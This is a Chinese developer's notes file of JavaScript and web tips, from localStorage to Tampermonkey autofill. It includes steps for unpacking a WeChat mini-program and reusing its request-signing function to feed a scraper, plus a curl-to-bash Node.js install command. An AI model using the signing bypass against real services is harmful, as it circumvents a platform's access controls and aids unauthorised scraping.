    "content": "\r\n\r\n## 使用localStorage\r\n\r\nCookie存数据影响访问速度(每次请求都需要带上Cookie)，使用localStorage存储有更大容量，还不易丢失\r\n\r\n建议将用户的大段输入随时存储到localStorage中\r\n\r\n高级应用可以是把js等代码文件这样缓存到本地，安全性讨论见[https://imququ.com/post/enhance-security-for-ls-code.html](https://imququ.com/post/enhance-security-for-ls-code.html)\r\n\r\n```\r\n//写入\r\nvar storage=window.localStorage;\r\nstorage[\"a\"]=1;\r\n//清空\r\nwindow.localStorage.clear();\r\n```\r\n\r\n----\r\n\r\n## 使用phantomjs爬取网页\r\n\r\n有些时候我们用Python的requests并不能很完美地渲染好网页，例如人家用酷炫的js作图了，我就想得到这张图，这时候用phantomjs就好啦\r\n\r\n爬取目标：\r\n\r\n[http://oncokb.org/#/gene/AKT1](http://oncokb.org/#/gene/AKT1)\r\n\r\n这个网页的右边有一张Tumor Types with AKT1 Mutations的图\r\n\r\n代码：\r\n\r\n[code/spider.oncokb.js](code/spider.oncokb.js)\r\n\r\n代码的细节：\r\n\r\n1. 打开页面之前为了截图方便需要先设置浏览器的大小，这里设置为了1920*1080\r\n\r\n2. 不要一打开页面就截图，而是等到页面加载好了最后一个请求(从Chrome开发人员工具查看最后的请求是啥)后，再等待5s后执行截图、导出HTML并退出\r\n\r\n3. 为了防止无限等待，设置最长2min后timeout退出\r\n\r\n4. 为了方便批量化处理，从命令行参数读取需要爬取的基因名称\r\n\r\n5. 在运行的时候有设置代理和不要载入图片的参数，具体见[官方文档](http://phantomjs.org/api/command-line.html)\r\n\r\n----\r\n\r\n## jQuery劫持show事件\r\n\r\n我的需求：用户登录的div需要点击Login后显示(toggle)，此时浏览器已经自动帮用户填上了用户名和密码，用户需要手动点击登录按钮才会触发登录请求；现在我想加入快速登录功能，在显示登录div后自动提交登录请求，如果为空或密码错误再交给用户输入\r\n\r\n我的解决方案：加入下述扩展jQuery的代码后，对#login绑定beforeShow事件，处理函数先根据全局变量是否存在来判断是否执行过（防止死循环），如果没有执行过则执行登录函数clicklogin并设置全局变量\r\n\r\n效果：如果浏览器自动填入了正确的用户名密码，则用户点击Login后快速闪过登录输入框即完成登录；如果浏览器没有自动填入用户名密码，clicklogin函数直接return，用户没有感知；如果浏览器填入的密码是错的，用户会看到密码错误提示，1s后再次toggle登录的div要求用户输入\r\n\r\nFrom: http://stackoverflow.com/questions/1225102/jquery-event-to-trigger-action-when-a-div-is-made-visible\r\n\r\n引入jQuery后，修改jQuery自身的show函数以扩展bind：\r\n\r\n```\r\njQuery(function($) {\r\n\r\n  var _oldShow = $.fn.show;\r\n\r\n  $.fn.show = function(speed, oldCallback) {\r\n    return $(this).each(function() {\r\n      var obj  = $(this),\r\n          newCallback = function() {\r\n            if ($.isFunction(oldCallback)) {\r\n              oldCallback.apply(obj);\r\n            }\r\n            obj.trigger('afterShow');\r\n          };\r\n\r\n      // you can trigger a before show if you want\r\n      obj.trigger('beforeShow');\r\n\r\n      // now use the old function to show the element passing the new callback\r\n      _oldShow.apply(obj, [speed, newCallback]);\r\n    });\r\n  }\r\n});\r\n```\r\n\r\n然后就可以使用bind注册`beforeShow`，`afterShow`咯：\r\n\r\n```\r\njQuery(function($) {\r\n  $('#test')\r\n    .bind('beforeShow', function() {\r\n      alert('beforeShow');\r\n    }) \r\n    .bind('afterShow', function() {\r\n      alert('afterShow');\r\n    })\r\n    .show(1000, function() {\r\n      alert('in show callback');\r\n    })\r\n    .show();\r\n});\r\n```\r\n\r\n----\r\n\r\n## 读取GET参数\r\n\r\n有些时候对GET参数的处理交给了前端，后端的PHP可以$_GET[\"parameter\"]，前端JS咋办呢？\r\n\r\nFrom: http://stackoverflow.com/questions/979975/how-to-get-the-value-from-the-get-parameters\r\n\r\n```\r\nvar QueryString = function () {\r\n  // This function is anonymous, is executed immediately and \r\n  // the return value is assigned to QueryString!\r\n  var query_string = {};\r\n  var query = window.location.search.substring(1);\r\n  var vars = query.split(\"&\");\r\n  for (var i=0;i<vars.length;i++) {\r\n    var pair = vars[i].split(\"=\");\r\n        // If first entry with this name\r\n    if (typeof query_string[pair[0]] === \"undefined\") {\r\n      query_string[pair[0]] = decodeURIComponent(pair[1]);\r\n        // If second entry with this name\r\n    } else if (typeof query_string[pair[0]] === \"string\") {\r\n      var arr = [ query_string[pair[0]],decodeURIComponent(pair[1]) ];\r\n      query_string[pair[0]] = arr;\r\n        // If third or later entry with this name\r\n    } else {\r\n      query_string[pair[0]].push(decodeURIComponent(pair[1]));\r\n    }\r\n  } \r\n  return query_string;\r\n}();\r\n```\r\n\r\n执行后就可以这么使用：\r\n\r\n```\r\nif (typeof(QueryString.parameter)!=\"undefined\") {\r\n    alert(QueryString.parameter);//do something with the parameter\r\n}\r\n```\r\n\r\n----\r\n\r\n## 使用 Github Issue 作为博客评论区\r\n\r\n人家大佬的项目：[http://github.com/wzpan/comment.js](http://github.com/wzpan/comment.js)，[中文文档](http://www.hahack.com/codes/comment-js/)\r\n\r\n如果觉得cloudflare加载速度不佳，可以把所有js打包成一个文件\r\n\r\n效果如本博客页面底部评论区所示，为了偷懒就没有为每个md文件单独开issue了，整个blog共用一个issue\r\n\r\n----\r\n\r\n## history.replaceState修改历史记录\r\n\r\n如v2ex按照是否:visited来区分点开过和没点开过的帖子，其实现是url带上#reply回复数量\r\n\r\n但如果帖子页面有多种进入方式（自动跳转到页尾、发起了回复等），那么url并不一定与需要的一致\r\n\r\n我们可以使用history API来修改历史记录，从而保证带上`#reply回复数量`的url一定被认为访问过；而且自动改回去用户无感知（否则刷新后会打开不一样的页面）\r\n\r\n代码如下：\r\n\r\n```\r\n<script>\r\nsetTimeout( function(){\r\n    var oldurl = location.href;\r\n    history.replaceState(null, null, '/t/{{topic[\"id\"]}}#reply{{topic[\"replyCount\"]}}');\r\n    history.replaceState(null, null, oldurl);\r\n}, 1000);\r\n</script>\r\n```\r\n\r\n----\r\n\r\n## 记住一个checkbox的状态（用localStorage）\r\n\r\n查询是否勾选用`.is(\":checked\")` ， 改变勾选状态用`.prop(\"checked\",true)`\r\n\r\n```\r\n<script>\r\nfunction checkbox_onclick(){\r\n    var checked = $(\"#thecheckbox\").is(\":checked\");\r\n    if(checked) localStorage.setItem(\"status_thecheckbox\",\"1\");\r\n    else localStorage.setItem(\"status_thecheckbox\",\"0\");\r\n}\r\n</script>\r\n<input type=\"checkbox\" id=\"thecheckbox\" onclick='checkbox_onclick();'>\r\n<script>\r\n    var status_thecheckbox = localStorage.getItem(\"status_thecheckbox\");\r\n    if(status_thecheckbox!=null && status_thecheckbox==\"1\") $(\"#thecheckbox\").prop(\"checked\",true);\r\n</script>\r\n```\r\n\r\n----\r\n\r\n## NodeJS\r\n\r\n### 用Docker执行npm\r\n\r\n例如安装canvas和gifencoder包：\r\n\r\n```\r\nPACKAGES=\"canvas gifencoder\"\r\ndocker run --rm --volume=\"`pwd`:/app\" -w /app -it node:10 npm install ${PACKAGES}  --registry=https://registry.npm.taobao.org\r\n```\r\n\r\n----\r\n\r\n## 使用InstantClick踩坑\r\n\r\n### 快速使用\r\n\r\nhttp://instantclick.io/v3.1.0/instantclick.min.js\r\n\r\n一定要在页面底部 `</body>`之前才能引入：\r\n\r\n```\r\n<script src=\"instantclick.min.js\" data-no-instant></script>\r\n<script data-no-instant>InstantClick.init('mousedown');</script>\r\n```\r\n\r\n### 被预加载的页面不能让后端返回302\r\n\r\n否则会显示跳转之前的URL\r\n\r\n这种情况下可以对这个链接禁止预加载（不过更应该考虑这种链接改为post请求） 在a标签加上`data-no-instant`\r\n\r\n### 注意默认配置下后端将被频繁请求 频率限制需要放宽\r\n\r\n[官网](http://instantclick.io/download)给出的代码使用`InstantClick.init()`，意味着鼠标移动上去就会触发加载（不是只触发一次），鼠标反复移动会导致大量的请求\r\n\r\n如果后端做了请求频率限制 需要放宽限制\r\n\r\n还是改为用`mousedown`来初始化 只有用户确实点击了才开始加载 据说也能有很好的效果\r\n\r\n### InstantClick引入一些副作用 对页面js要进行修改\r\n\r\n#### js无法取得正确的referrer\r\n\r\n页面加载的请求是js执行的 document.referrer不会被设置为上一页\r\n\r\n#### document.addEventListener 重复触发\r\n\r\n例如绑定paste事件 你可能这么写：\r\n\r\n```\r\ndocument.addEventListener('paste', handlepaste);\r\n```\r\n\r\n在切换页面后 这个事件会多次绑定 导致多次触发\r\n\r\n我的做法是先判断一个变量是否存在 不存在才设置：\r\n\r\n```\r\nif(typeof paste_registered == \"undefined\"){\r\n    document.addEventListener('paste', handlepaste);\r\n    paste_registered = true;\r\n}\r\n```\r\n\r\n你也可以把这一部分**不能重复执行**的代码放入`<script data-no-instant>`中，但如果前一页没有这一块代码（也就是这个代码是当前页面才有的，需要执行一次），进入当前页面是**不会触发**的\r\n\r\n#### 返回上一页重复执行页面添加元素的js 导致元素重复出现\r\n\r\n现在的方法是对js动态添加的元素加个class 然后用jQuery的remove方法先通通删掉再添加\r\n\r\n#### 页面ready事件不会触发\r\n\r\n需要加入`InstantClick.on('change', callback);` 加到Init后即可\r\n\r\n但是似乎这个事件触发在页面图片加载完成之前Orz 不够完美\r\n\r\n### 超链接的#hash定位功能也需要自己实现\r\n\r\n预加载的页面总是定位到顶部，忽视地址栏中的`#end`这种定位hash\r\n\r\n我的做法是这样写上述onchange的callback函数`implement_hashjump`：\r\n\r\n```\r\nfunction has_hashjump(){ // if there is a #hash present for jumpping, return true\r\n    var hash = document.location.hash.replace(\"#\",\"\");\r\n    if(!hash) return false;\r\n    if(document.getElementById(hash) || document.getElementsByName(hash).length>0) return true;\r\n    else return false;\r\n}\r\n\r\nfunction implement_hashjump() {\r\n    if ( has_hashjump() ) {\r\n        var hash = document.location.hash.replace(\"#\",\"\");\r\n        if(document.getElementById(hash)) {\r\n            document.documentElement.scrollTop = $(\"#\"+hash).offset().top;\r\n        }\r\n        else{\r\n            document.documentElement.scrollTop = $(\"[name='\"+hash+\"']\").offset().top;\r\n        }\r\n    }\r\n}\r\n```\r\n\r\n----\r\n\r\n## 用原生Javascript操作DOM节点 The Basics of DOM Manipulation in Vanilla JavaScript \r\n\r\nhttps://www.sitepoint.com/dom-manipulation-vanilla-javascript-no-jquery/\r\n\r\n### 选择元素\r\n\r\n```\r\nconst myElement = document.querySelector('#foo > div.bar')\r\nmyElement.matches('div.bar') === true\r\n```\r\n注意querySelector是立即执行 而getElementsByTagName是取值的时候执行效率更高\r\n\r\n\r\n对元素列表遍历应该这么写：\r\n\r\n```\r\n[].forEach.call(myElements, doSomethingWithEachElement)\r\n```\r\n\r\n`myElement.children`,`myElement.firstElementChild` 只会有tag，而`myElement.childNodes`,`myElement.firstChild`会有文本节点\r\n\r\n如：`myElement.firstChild.nodeType === 3 // this would be a text node`\r\n\r\n### 修改class和属性\r\n\r\n```\r\nmyElement.classList.add('foo')\r\nmyElement.classList.remove('bar')\r\nmyElement.classList.toggle('baz')\r\n\r\n// Set multiple properties using Object.assign()\r\nObject.assign(myElement, {\r\n  value: 'foo',\r\n  id: 'bar'\r\n})\r\n\r\n// Remove an attribute\r\nmyElement.value = null\r\n```\r\n\r\n除了直接赋值，还有这些方法` .getAttibute(), .setAttribute() and .removeAttribute()` 但他们会直接修改HTML 导致重绘 只有没有对应属性的时候如`colspan`才应该这么干\r\n\r\n### 修改CSS\r\n\r\n```\r\nmyElement.style.marginLeft = '2em'\r\n\r\n//获得计算出来的CSS属性\r\ngetComputedStyle(myElement).getPropertyValue('margin-left')\r\n```\r\n\r\n### 修改DOM\r\n\r\n```\r\nconst myNewElement = document.createElement('div')\r\nconst myNewTextNode = document.createTextNode('some text')\r\n\r\n// Append element1 as the last child of element2\r\nelement1.appendChild(element2)\r\n\r\n// Insert element2 as child of element 1, right before element3\r\nelement1.insertBefore(element2, element3)\r\n\r\n// Create a clone\r\nconst myElementClone = myElement.cloneNode()\r\nmyParentElement.appendChild(myElementClone)\r\n\r\n// 删除一个节点\r\nmyElement.parentNode.removeChild(myElement)\r\n```\r\n\r\n当需要把多个元素appendChild到一个已经在页面上的元素时，每次append都会重绘 这时候就应该用`DocumentFragment`\r\n\r\n```\r\nconst fragment = document.createDocumentFragment()\r\n\r\nfragment.appendChild(text)\r\nfragment.appendChild(hr)\r\nmyElement.appendChild(fragment)\r\n```\r\n\r\n### 监听事件\r\n\r\n事件event里面有`target`指向谁触发的事件\r\n\r\n```\r\nconst myForm = document.forms[0]\r\nconst myInputElements = myForm.querySelectorAll('input')\r\n\r\nArray.from(myInputElements).forEach(el => {\r\n  el.addEventListener('change', function (event) {\r\n    console.log(event.target.value)\r\n  })\r\n})\r\n```\r\n\r\n### 阻止默认行为\r\n\r\n`.preventDefault()`\r\n\r\n`.stopPropagation()` 子节点click不会再冒泡触发父节点onclick\r\n\r\n## Event delegation\r\n\r\n对表单每个input修改时执行，直接对form添加change的事件 不需要对每个input添加，这样也自动支持动态新添加的input\r\n\r\n```\r\nmyForm.addEventListener('change', function (event) {\r\n  const target = event.target\r\n  if (target.matches('input')) {\r\n    console.log(target.value)\r\n  }\r\n})\r\n```\r\n\r\n### 动画\r\n\r\n需要高性能时 不要用setTimeout 而使用`requestAnimationFrame`\r\n\r\n```\r\nconst start = window.performance.now()\r\nconst duration = 2000\r\n\r\nwindow.requestAnimationFrame(function fadeIn (now)) {\r\n  const progress = now - start\r\n  myElement.style.opacity = progress / duration\r\n\r\n  if (progress < duration) {\r\n    window.requestAnimationFrame(fadeIn)\r\n  }\r\n}\r\n```\r\n\r\n----\r\n\r\n## 劫持动态图片加载 修改src属性\r\n\r\nReact网站应用底层用的是createElement方法（svg等对象用createElementNS），可以通过劫持document所属类原型的createElement方法来实现图片路径重定向\r\n\r\n但是没有考虑使用innerHTML直接赋值的操作，如果目标站点确实用了这种技术，大不了再加个定时器遍历即可\r\n\r\n```\r\nvar dc = HTMLDocument.prototype.createElement;\r\nHTMLDocument.prototype.createElement = function (tag, options) {\r\n  var r = dc.call(document, tag, options);\r\n  if(tag==\"img\"||tag=='a') {\r\n      var x=r.setAttribute;\r\n      r.setAttribute=function(a,b){\r\n          if(a==\"src\"||a==\"href\"){\r\n              if(b[0]==\"/\") b=b.replace(\"/\", window.ROOT);\r\n              else{\r\n                  b = b.replace(\"http://\",\"/web/0/http/0/\");\r\n                  b = b.replace(\"https://\",\"/web/0/https/0/\");\r\n              }\r\n          }\r\n          return x.call(r,a,b);\r\n      }\r\n  }\r\n  return r;\r\n}\r\n```\r\n\r\n上述代码会将/开头的src和href属性的第一个/替换为window.ROOT\r\n\r\n## 劫持Ajax和fetch\r\n\r\n需要将fetch使用xhr实现，然后Hook Ajax即可\r\n\r\n参见完整的RVPN劫持代码 [jshook_preload.js](code/jshook_preload.js)\r\n\r\n背景知识参见：RVPN网页版介绍 https://www.cc98.org/topic/4816921/\r\n\r\n----\r\n\r\n## 多个Ajax请求等待全部完成\r\n\r\n方法就是把jQuery的ajax函数返回值放到数组里面，然后用`$.when.apply(null, 数组).done`即可\r\n\r\n\r\n实例：CC98发米机\r\n\r\n```\r\nfunction apiget(url, callback){\r\n    return $.get(\"/98api_cache/\"+url, null, callback, \"json\");\r\n}\r\n\r\nvar async_request=[check_permission(topic.boardId)];\r\nvar i;\r\nfor(i=from_; i>=from_-80;i-=20){\r\n    if(i<0) break;\r\n    async_request.push(apiget(\"Topic/\"+topicid+\"/post?from=\"+i+\"&size=20\", function(data){\r\n        lastfloors.push.apply(lastfloors,data);\r\n    }))\r\n}\r\n\r\n$.when.apply(null, async_request).done( function(){ alert(\"all done\")} )\r\n```\r\n\r\n## 等待图片加载完成后 缩小过大的图片\r\n\r\n首先等待DOM节点就绪，找到所有的img，等待图片加载完成后判断图片高度是否大于窗口高度的80%，如果太长就设置`max-width:80vh`，可点击展开，再次点击则折叠并跳至图片开始的地方\r\n\r\n```\r\n!function(a){\"function\"==typeof define&&define.amd?define([\"jquery\"],a):\"object\"==typeof exports?module.exports=a(require(\"jquery\")):a(jQuery)}(function(a){var b=\"waitForImages\",c=function(a){return a.srcset&&a.sizes}(new Image);a.waitForImages={hasImageProperties:[\"backgroundImage\",\"listStyleImage\",\"borderImage\",\"borderCornerImage\",\"cursor\"],hasImageAttributes:[\"srcset\"]},a.expr.pseudos[\"has-src\"]=function(b){return a(b).is('img[src][src!=\"\"]')},a.expr.pseudos.uncached=function(b){return!!a(b).is(\":has-src\")&&!b.complete},a.fn.waitForImages=function(){var d,e,f,g=0,h=0,i=a.Deferred(),j=this,k=[],l=a.waitForImages.hasImageProperties||[],m=a.waitForImages.hasImageAttributes||[],n=/url\\(\\s*(['\"]?)(.*?)\\1\\s*\\)/g;if(a.isPlainObject(arguments[0])?(f=arguments[0].waitForAll,e=arguments[0].each,d=arguments[0].finished):1===arguments.length&&\"boolean\"===a.type(arguments[0])?f=arguments[0]:(d=arguments[0],e=arguments[1],f=arguments[2]),d=d||a.noop,e=e||a.noop,f=!!f,!a.isFunction(d)||!a.isFunction(e))throw new TypeError(\"An invalid callback was supplied.\");return this.each(function(){var b=a(this);f?b.find(\"*\").addBack().each(function(){var b=a(this);b.is(\"img:has-src\")&&!b.is(\"[srcset]\")&&k.push({src:b.attr(\"src\"),element:b[0]}),a.each(l,function(a,c){var d,e=b.css(c);if(!e)return!0;for(;d=n.exec(e);)k.push({src:d[2],element:b[0]})}),a.each(m,function(a,c){var d=b.attr(c);return!d||void k.push({src:b.attr(\"src\"),srcset:b.attr(\"srcset\"),element:b[0]})})}):b.find(\"img:has-src\").each(function(){k.push({src:this.src,element:this})})}),g=k.length,h=0,0===g&&(d.call(j),i.resolveWith(j)),a.each(k,function(f,k){var l=new Image,m=\"load.\"+b+\" error.\"+b;a(l).one(m,function b(c){var f=[h,g,\"load\"==c.type];if(h++,e.apply(k.element,f),i.notifyWith(k.element,f),a(this).off(m,b),h==g)return d.call(j[0]),i.resolveWith(j[0]),!1}),c&&k.srcset&&(l.srcset=k.srcset,l.sizes=k.sizes),l.src=k.src}),i.promise()}});\r\n\r\n$(function(){$(\"img\").waitForImages(function(){ \r\n    ( $(\"img\").filter(function(){return $(this).height()>document.documentElement.clientHeight * 0.8}) )\r\n    .css(\"max-height\",\"80vh\")\r\n    .css(\"cursor\",\"pointer\")\r\n    .on(\"click\", function(){\r\n        if($(this).css(\"max-height\")!=\"100%\"){\r\n            $(this).css(\"max-height\",\"100%\"); \r\n        }else {\r\n            $(this).css(\"max-height\",\"80vh\");\r\n            $(\"html,body\").animate({scrollTop:$(this).position().top},\"fast\") \r\n        }\r\n    });  \r\n})});\r\n```\r\n\r\n----\r\n\r\n## CSS inline模糊预览图片\r\n\r\n参考： https://css-tricks.com/the-blur-up-technique-for-loading-background-images/\r\n\r\n使用一张很大的图片作为背景的时候，可能需要一张inline到css中的模糊背景图，完整方案参见上述链接\r\n\r\n这里介绍从一张图片怎么变成模糊预览的inline CSS:\r\n\r\n1. 首先把图片变成40x22大小，这个直接用Windows自带的画图工具即可完成\r\n2. 然后丢给[tinyjpg.com](https://tinyjpg.com/)再压缩一下\r\n3. 用`base64 -w0 < x.jpg`获取图片的base64文本\r\n4. 放入下述svg中，再交给这个svg encoder: https://codepen.io/yoksel/details/JDqvs/\r\n\r\n```\r\n<svg xmlns=\"http://www.w3.org/2000/svg\"\r\n     xmlns:xlink=\"http://www.w3.org/1999/xlink\"\r\n     width=\"1500\" height=\"823\"\r\n     viewBox=\"0 0 1500 823\">\r\n  <filter id=\"blur\" filterUnits=\"userSpaceOnUse\" color-interpolation-filters=\"sRGB\">\r\n    <feGaussianBlur stdDeviation=\"20 20\" edgeMode=\"duplicate\" />\r\n    <feComponentTransfer>\r\n      <feFuncA type=\"discrete\" tableValues=\"1 1\" />\r\n    </feComponentTransfer>\r\n  </filter>\r\n  <image filter=\"url(#blur)\"\r\n         xlink:href=\"data:image/jpeg;base64,/9j/4AAQSkZJ ...[truncated]...\"\r\n         x=\"0\" y=\"0\"\r\n         height=\"100%\" width=\"100%\"/>\r\n</svg>\r\n```\r\n\r\n注意encoder输出的内容还要加上`charset`，最终效果：\r\n\r\n```\r\nbackground-image: url(data:image/svg+xml;charset=utf-8,%3Csvg...);\r\n```\r\n\r\n## a链接改用POST请求 jQuery\r\n\r\n参考OneIndex，用POST方法表示来自文件列表的点击可以显示网页，默认的GET请求则下载文件\r\n\r\n```\r\n\t$('.file a').each(function(){\r\n\t\t$(this).on('click', function () {\r\n\t\t\tvar form = $('<form target=_blank method=post></form>').attr('action', $(this).attr('href')).get(0);\r\n\t\t\t$(document.body).append(form);\r\n\t\t\tform.submit();\r\n\t\t\t$(form).remove();\r\n\t\t\treturn false;\r\n\t\t});\r\n\t});\r\n```\r\n\r\n## 创建一个文件下载 Blob\r\n\r\n参考OneIndex的`downall`方法\r\n\r\nBlob文档：https://developer.mozilla.org/zh-CN/docs/Web/API/Blob\r\n\r\n还可以看看这篇：https://juejin.im/post/59e35d0e6fb9a045030f1f35\r\n\r\n```\r\n     let blob = new Blob([\"文档内容\"], {\r\n         type: 'text/plain'\r\n     }); // 构造Blob对象\r\n     let a = document.createElement('a'); // 伪造一个a对象\r\n     a.href = window.URL.createObjectURL(blob); // 构造href属性为Blob对象生成的链接\r\n     a.download = \"666.txt\"; // 文件名称，你可以根据你的需要构造\r\n     a.click() // 模拟点击\r\n     a.remove();\r\n```\r\n\r\n\r\n## 爬取微信小程序 朵朵校友圈\r\n\r\n1. 在分身空间中安装微信，使用HttpCanary抓到wxapkg的url\r\n2. 用[https://gist.githubusercontent.com/Integ/bcac5c21de5ea35b63b3db2c725f07ad/raw/a4d5f24f4d0102ce864008a86fdcc6e7888205c0/unwxapkg.py](https://gist.githubusercontent.com/Integ/bcac5c21de5ea35b63b3db2c725f07ad/raw/a4d5f24f4d0102ce864008a86fdcc6e7888205c0/unwxapkg.py) 这个工具对小程序解包\r\n3. 搜索`duo_session`关键词，找到对应的util.js的addSign，用chrome开发人员工具格式化代码\r\n4. 看了看整段代码 挺复杂的，懒得用python改写，就保留原样js使用nodejs调用吧\r\n5. burpsuite验证确实可行\r\n\r\n假设你已经有了addSign方法 那么就提供个http服务给python爬虫调用吧：\r\n\r\n```\r\nvar http = require(\"http\");\r\n\r\nfunction start(port) {\r\n  function onRequest(request, response) {\r\n    var postData = \"\";\r\n    request.setEncoding(\"utf8\");\r\n\r\n    request.addListener(\"data\", function(postDataChunk) {\r\n      postData += postDataChunk;\r\n    });\r\n\r\n    request.addListener(\"end\", function() {\r\n      //console.log(postData);\r\n      console.log(\"[\"+new Date().toLocaleString()+\"]\", request.connection.remoteAddress);\r\n      var data = JSON.parse(postData);\r\n      addSign(data)\r\n      response.writeHead(200, {\"Content-Type\": \"text/html\"});\r\n      response.write(JSON.stringify(data));\r\n      response.end();\r\n    });\r\n  }\r\n\r\n  http.createServer(onRequest).listen(port);\r\n  console.log(\"Server has started.\");\r\n}\r\n\r\nstart(8888);\r\n```\r\n\r\n\r\n## 保持特定元素相对于窗口的位置不变\r\n\r\n考虑这样一个场景：一个列表，每一项都可以点击来展开详情div，点击时同时隐藏其他的详情（同一时刻只显示一个）\r\n\r\n发现一个bug：特定情况下（不明原因），用户点击后页面位置发生了变化：前面的一个比较长的div隐藏后，当前的位置跳到了很下面的地方，需要手动翻回去，用户体验极差\r\n\r\n总而言之，进行一些页面DOM操作后，我们想保持特定元素**相对于窗口的位置**不变\r\n\r\n解决方案：在处理点击event时，先记录event.target相对于window的top位置，在详情div隐藏以及显示后再次记录top位置，这两个位置之间的差值就是需要滚动页面的多少\r\n\r\n当这个差值很小的时候，可以理解为允许的误差，实际没有可见的变化 无需操作\r\n\r\n```\r\nHTML:\r\n   onclick=\"handle_click(event)\"\r\n\r\nJS:\r\nfunction fix_position(et, oldt){\r\n    var newt = et.getBoundingClientRect().top;\r\n    if(Math.abs(oldt-newt)<2) return;\r\n    $(window).scrollTop($(window).scrollTop()+newt-oldt);\r\n}\r\n\r\nfunction handle_click(event){\r\n    var et = event.target;\r\n    var oldt = et.getBoundingClientRect().top;\r\n    //...code for hide and show divs...\r\n    fix_position(et, oldt); //also include this line to callback function if using ajax\r\n}\r\n```\r\n\r\n\r\n## Tampermonkey自动填充用户名密码表单，并通过前端的表单检查\r\n\r\n感谢[@CoolSpring](https://github.com/CoolSpring8)的解决方案： https://v2ex.com/t/701749\r\n\r\n现代化的前端做了表单检查，直接对input赋值不能通过检查，需要调用被重载的setter函数：\r\n\r\n```js\r\nfunction mytype(input, value){\r\n    var nativeInputValueSetter = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, \"value\").set;\r\n    nativeInputValueSetter.call(input, value);\r\n    input.dispatchEvent(new Event('input', {bubbles: true}));\r\n}\r\n```\r\n\r\n用法：\r\n\r\n```\r\n    mytype(document.querySelectorAll(\"input\")[0], USERNAME);\r\n    mytype(document.querySelectorAll(\"input\")[1], PASSWORD);\r\n```\r\n\r\n## 使用browserify将npm包打包成浏览器能用的js文件\r\n\r\n浏览器不支持require，怎么在浏览器里使用一个npm包呢？ [browserify](http://browserify.org/)\r\n\r\n示例：我想在tampermonkey里使用[user-event](https://github.com/testing-library/user-event)这个npm包，\r\n用来完整地模拟用户的交互，这个其实是上一个问题的笨重版本的解决方案\r\n\r\n```\r\n# 先安装目标库、browserify和terser\r\ncnpm install @testing-library/user-event @testing-library/dom --save-dev\r\ncnpm i -g browserify terser\r\n\r\n# 写一个main.js导入这个库，导出到window里\r\nvar userEvent = require('@testing-library/user-event');\r\nwindow.userEvent = userEvent.default;\r\n\r\n# 执行打包\r\nbrowserify main.js | terser --compress --mangle > bundle.js\r\n\r\n# 在tampermonkey里使用\r\n// @require      上传到cdn后的js地址\r\nuserEvent.type(document.querySelectorAll(\"input\")[0], USERNAME);\r\n```\r\n\r\n## Ubuntu安装nodejs\r\n\r\n```\r\ncurl -fsSL https://deb.nodesource.com/setup_16.x | bash -\r\ncurl -sL https://dl.yarnpkg.com/debian/pubkey.gpg | gpg --dearmor | tee /usr/share/keyrings/yarnkey.gpg >/dev/null\r\necho \"deb [signed-by=/usr/share/keyrings/yarnkey.gpg] https://dl.yarnpkg.com/debian stable main\" | tee /etc/apt/sources.list.d/yarn.list\r\napt update && apt install -y nodejs yarn\r\n\r\nyarn config set registry https://registry.npm.taobao.org -g\r\nyarn config set disturl https://npm.taobao.org/dist -g\r\nyarn config set electron_mirror https://npm.taobao.org/mirrors/electron/ -g\r\nyarn config set sass_binary_site https://npm.taobao.org/mirrors/node-sass/ -g\r\nyarn config set phantomjs_cdnurl https://npm.taobao.org/mirrors/phantomjs/ -g\r\nyarn config set chromedriver_cdnurl https://cdn.npm.taobao.org/dist/chromedriver -g\r\nyarn config set operadriver_cdnurl https://cdn.npm.taobao.org/dist/operadriver -g\r\nyarn config set fse_binary_host_mirror https://npm.taobao.org/mirrors/fsevents -g\r\n```\r\n"
  },
  {
    "path": "Jekyll.md",
    "content": "\r\n\r\n# Jekyll\r\n\r\n目前本站使用 `Github Pages`，~~采用`Jekyll`转换md为html~~，所以有必要记录一下折腾Jekyll的过程咯\r\n\r\n更新：目前已经不再使用Jekyll，改用mkdocs\r\n\r\n## 碰到过的坑\r\n\r\n1. jekyll 不认 gbk 编码，在转换前需要先将 md 文件编码改为UTF-8\r\n\r\n1. 本地编译通过了，但Github就是不认，于是干脆把编译好的html作为Github Pages\r\n\r\n1. 转换的时候遇到两个大括号之间的东西会自动用Liquid渲染，导致有一条Docker的笔记就丢了东西并抛出了Warning，之前本着不折腾的原则(就是懒)，直接写了个compile.sh在jekyll编译过后用py替换了一下(真不优雅23333)；现在发现了解决方案，参见[本页md文件](Jekyll.md)\r\n\r\n## 配置代码高亮并显示行号\r\n\r\n代码：\r\n\r\n```liquid\r\n{% highlight java linenos %}\r\npublic class HelloWorld {\r\n    public static void main(String args[]) {\r\n      System.out.println(\"Hello World!\");\r\n    }\r\n}\r\n{% endhighlight %}\r\n```\r\n\r\n效果如下：(由于现在已经不再使用Jekyll，所以看不出了23333）\r\n\r\n{% highlight java linenos %}\r\npublic class HelloWorld {\r\n    public static void main(String args[]) {\r\n      System.out.println(\"Hello World!\");\r\n    }\r\n}\r\n{% endhighlight %}\r\n\r\n## 解决Github Metadata Warning\r\n\r\n>* 参见http://mycyberuniverse.com/web/fixing-jekyll-github-metadata-warning.html\r\n\r\n在执行build或serve时，会给出这样的Warning:\r\n\r\n```\r\nGitHub Metadata: No GitHub API authentication could be found. Some fields may be missing or have incorrect data.\r\n```\r\n\r\n解决方法详细版请见上述链接，简要版：在Github的设置中得到一个能访问公开repo的token，用以下命令配置环境变量，其中abc123改为自己的token\r\n\r\n```bash\r\nexport JEKYLL_GITHUB_TOKEN='abc123'\r\n```\r\n\r\n## 解决Markdown有序列表被文字间隔的问题\r\n\r\n参考： http://stackoverflow.com/questions/18088955/markdown-continue-numbered-list\r\n\r\n在写3. 之前加入相应的编号控制：\r\n\r\n```\r\n{:start=\"3\"}\r\n```\r\n\r\n----\r\n\r\n# 安装Jekyll\r\n\r\n搜索jekyll发现官网[https://jekyllrb.com/](https://jekyllrb.com/)\r\n\r\n安装过程一点都不简单， 我的系统环境：ubuntu16.04 on win10\r\n\r\n安装命令参考官网及[国内镜像 Ruby China](https://gems.ruby-china.org/)，还踩了[坑1](https://stackoverflow.com/questions/4304438/gem-install-failed-to-build-gem-native-extension-cant-find-header-files), [坑2](https://github.com/flapjack/omnibus-flapjack/issues/72)\r\n\r\n```\r\napt install -y ruby ruby-dev zlib1g-dev nodejs # 其中zlib是安装依赖nokogiri（这个依赖编译特别慢）所必须的，其中nodejs是需要的javascript运行环境\r\ngem update --system # 这里请翻墙一下\r\ngem sources --add https://gems.ruby-china.org/ --remove https://rubygems.org/\r\ngem install jekyll bundler\r\n\r\n# 